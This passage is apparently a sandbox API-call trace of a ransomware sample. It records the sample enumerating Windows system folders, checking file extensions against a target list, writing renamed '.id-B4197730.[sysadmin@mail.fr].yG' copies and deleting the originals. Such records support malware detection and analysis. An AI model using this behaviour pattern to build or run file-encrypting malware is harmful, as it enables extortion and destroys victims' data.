	[0179.429] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.429] lstrlenW (lpString=".pdf") returned 4
	[0179.429] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.429] lstrlenW (lpString=".xls") returned 4
	[0179.429] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.429] lstrlenW (lpString=".xlsx") returned 5
	[0179.430] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.430] lstrlenW (lpString=".ppt") returned 4
	[0179.430] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.430] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.430] lstrlenW (lpString=".zip") returned 4
	[0179.430] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.430] lstrlenW (lpString=".rar") returned 4
	[0179.430] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.430] lstrlenW (lpString=".bz2") returned 4
	[0179.430] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.430] lstrlenW (lpString=".7z") returned 3
	[0179.430] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.430] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.430] lstrlenW (lpString=".dbf") returned 4
	[0179.430] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0179.430] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.430] lstrlenW (lpString=".1cd") returned 4
	[0179.430] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0179.430] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0179.430] lstrlenW (lpString=".jpg") returned 4
	[0179.430] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0179.431] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0179.431] lstrlenW (lpString="malgunn_boot.ttf") returned 16
	[0179.431] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.437] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=174959) returned 1
	[0179.437] CloseHandle (hObject=0x350) returned 1
	[0179.438] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20
	[0179.438] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.438] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.438] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.438] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.438] lstrlenW (lpString=".doc") returned 4
	[0179.438] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.438] lstrlenW (lpString=".docx") returned 5
	[0179.438] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.438] lstrlenW (lpString=".pdf") returned 4
	[0179.438] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.438] lstrlenW (lpString=".xls") returned 4
	[0179.438] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.438] lstrlenW (lpString=".xlsx") returned 5
	[0179.438] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.438] lstrlenW (lpString=".ppt") returned 4
	[0179.438] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.438] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.438] lstrlenW (lpString=".zip") returned 4
	[0179.438] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.439] lstrlenW (lpString=".rar") returned 4
	[0179.439] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.439] lstrlenW (lpString=".bz2") returned 4
	[0179.439] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.439] lstrlenW (lpString=".7z") returned 3
	[0179.439] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.439] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.439] lstrlenW (lpString=".dbf") returned 4
	[0179.439] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0179.439] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.439] lstrlenW (lpString=".1cd") returned 4
	[0179.439] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0179.439] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.439] lstrlenW (lpString=".jpg") returned 4
	[0179.439] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0179.439] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.439] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.439] lstrlenW (lpString=".doc") returned 4
	[0179.439] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.439] lstrlenW (lpString=".docx") returned 5
	[0179.439] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.439] lstrlenW (lpString=".pdf") returned 4
	[0179.439] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.439] lstrlenW (lpString=".xls") returned 4
	[0179.439] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.439] lstrlenW (lpString=".xlsx") returned 5
	[0179.439] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.440] lstrlenW (lpString=".ppt") returned 4
	[0179.440] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.440] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.440] lstrlenW (lpString=".zip") returned 4
	[0179.440] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.440] lstrlenW (lpString=".rar") returned 4
	[0179.440] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.440] lstrlenW (lpString=".bz2") returned 4
	[0179.440] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.440] lstrlenW (lpString=".7z") returned 3
	[0179.440] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.440] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.440] lstrlenW (lpString=".dbf") returned 4
	[0179.440] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0179.440] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.440] lstrlenW (lpString=".1cd") returned 4
	[0179.440] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0179.440] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30
	[0179.440] lstrlenW (lpString=".jpg") returned 4
	[0179.440] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0179.441] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0179.441] lstrlenW (lpString="malgun_boot.ttf") returned 15
	[0179.441] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.442] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=177414) returned 1
	[0179.442] CloseHandle (hObject=0x350) returned 1
	[0179.442] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20
	[0179.442] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.442] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.442] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0179.442] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0179.442] lstrlenW (lpString=".doc") returned 4
	[0179.442] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0179.442] lstrlenW (lpString=".docx") returned 5
	[0179.442] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0179.442] lstrlenW (lpString=".pdf") returned 4
	[0179.443] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0179.443] lstrlenW (lpString=".xls") returned 4
	[0179.443] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0179.443] lstrlenW (lpString=".xlsx") returned 5
	[0179.443] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0179.443] lstrlenW (lpString=".ppt") returned 4
	[0179.443] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0179.443] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0179.443] lstrlenW (lpString=".zip") returned 4
	[0179.443] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0179.443] lstrlenW (lpString=".rar") returned 4
	[0179.443] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0179.443] lstrlenW (lpString=".bz2") returned 4
	[0179.443] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0179.443] lstrlenW (lpString=".7z") returned 3
	[0179.443] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0179.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0179.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0179.691] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x42b4080, Size=0x2000) returned 0x42b4080
	[0179.692] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0179.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0179.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0179.701] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.701] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0179.702] GetLastError () returned 0x0
	[0179.702] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x58cd0, lpOverlapped=0x0) returned 1
	[0180.246] WriteFile (in: hFile=0x30c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0x58ce0, lpOverlapped=0x0) returned 1
	[0180.256] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.256] WriteFile (in: hFile=0x30c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0180.256] SetEndOfFile (hFile=0x30c) returned 1
	[0180.256] CloseHandle (hObject=0x30c) returned 1
	[0180.256] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.256] SetEndOfFile (hFile=0x34c) returned 1
	[0180.260] CloseHandle (hObject=0x34c) returned 1
	[0180.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0180.260] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1
	[0180.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.261] lstrlenW (lpString=".doc") returned 4
	[0180.261] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0180.261] lstrlenW (lpString=".docx") returned 5
	[0180.261] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1
	[0180.261] lstrlenW (lpString=".pdf") returned 4
	[0180.261] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0180.261] lstrlenW (lpString=".xls") returned 4
	[0180.261] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0180.261] lstrlenW (lpString=".xlsx") returned 5
	[0180.261] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1
	[0180.261] lstrlenW (lpString=".ppt") returned 4
	[0180.261] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0180.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.262] lstrlenW (lpString=".zip") returned 4
	[0180.262] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0180.262] lstrlenW (lpString=".rar") returned 4
	[0180.262] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0180.262] lstrlenW (lpString=".bz2") returned 4
	[0180.262] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0180.262] lstrlenW (lpString=".7z") returned 3
	[0180.262] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0180.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.262] lstrlenW (lpString=".dbf") returned 4
	[0180.262] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0180.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.262] lstrlenW (lpString=".1cd") returned 4
	[0180.262] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0180.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.262] lstrlenW (lpString=".jpg") returned 4
	[0180.262] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0180.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.262] lstrlenW (lpString=".doc") returned 4
	[0180.262] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0180.262] lstrlenW (lpString=".docx") returned 5
	[0180.262] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1
	[0180.262] lstrlenW (lpString=".pdf") returned 4
	[0180.262] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0180.262] lstrlenW (lpString=".xls") returned 4
	[0180.262] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0180.262] lstrlenW (lpString=".xlsx") returned 5
	[0180.263] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1
	[0180.263] lstrlenW (lpString=".ppt") returned 4
	[0180.263] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0180.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.263] lstrlenW (lpString=".zip") returned 4
	[0180.263] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0180.263] lstrlenW (lpString=".rar") returned 4
	[0180.263] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0180.263] lstrlenW (lpString=".bz2") returned 4
	[0180.263] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0180.263] lstrlenW (lpString=".7z") returned 3
	[0180.263] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0180.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.263] lstrlenW (lpString=".dbf") returned 4
	[0180.263] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0180.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.263] lstrlenW (lpString=".1cd") returned 4
	[0180.263] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0180.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0180.263] lstrlenW (lpString=".jpg") returned 4
	[0180.263] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0180.263] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0180.263] lstrlenW (lpString="msdia100.dll") returned 12
	[0180.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0180.465] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=990032) returned 1
	[0180.465] CloseHandle (hObject=0x34c) returned 1
	[0180.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20
	[0180.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0180.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0180.465] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.465] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0180.902] GetLastError () returned 0x0
	[0180.902] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0xf1b50, lpOverlapped=0x0) returned 1
	[0181.351] WriteFile (in: hFile=0x340, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0xf1b60, lpOverlapped=0x0) returned 1
	[0181.724] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.724] WriteFile (in: hFile=0x340, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.725] SetEndOfFile (hFile=0x340) returned 1
	[0181.725] CloseHandle (hObject=0x340) returned 1
	[0181.725] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.725] SetEndOfFile (hFile=0x34c) returned 1
	[0181.734] CloseHandle (hObject=0x34c) returned 1
	[0181.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0181.734] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.735] lstrlenW (lpString=".doc") returned 4
	[0181.735] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.735] lstrlenW (lpString=".docx") returned 5
	[0181.735] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0181.735] lstrlenW (lpString=".pdf") returned 4
	[0181.735] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.735] lstrlenW (lpString=".xls") returned 4
	[0181.735] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.735] lstrlenW (lpString=".xlsx") returned 5
	[0181.735] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0181.735] lstrlenW (lpString=".ppt") returned 4
	[0181.735] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.735] lstrlenW (lpString=".zip") returned 4
	[0181.735] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.735] lstrlenW (lpString=".rar") returned 4
	[0181.735] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.735] lstrlenW (lpString=".bz2") returned 4
	[0181.735] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.735] lstrlenW (lpString=".7z") returned 3
	[0181.735] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.735] lstrlenW (lpString=".dbf") returned 4
	[0181.735] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.735] lstrlenW (lpString=".1cd") returned 4
	[0181.735] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.736] lstrlenW (lpString=".jpg") returned 4
	[0181.736] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.736] lstrlenW (lpString=".doc") returned 4
	[0181.736] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.736] lstrlenW (lpString=".docx") returned 5
	[0181.736] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0181.736] lstrlenW (lpString=".pdf") returned 4
	[0181.736] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.736] lstrlenW (lpString=".xls") returned 4
	[0181.736] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.736] lstrlenW (lpString=".xlsx") returned 5
	[0181.736] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0181.736] lstrlenW (lpString=".ppt") returned 4
	[0181.736] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.736] lstrlenW (lpString=".zip") returned 4
	[0181.736] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.736] lstrlenW (lpString=".rar") returned 4
	[0181.736] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.736] lstrlenW (lpString=".bz2") returned 4
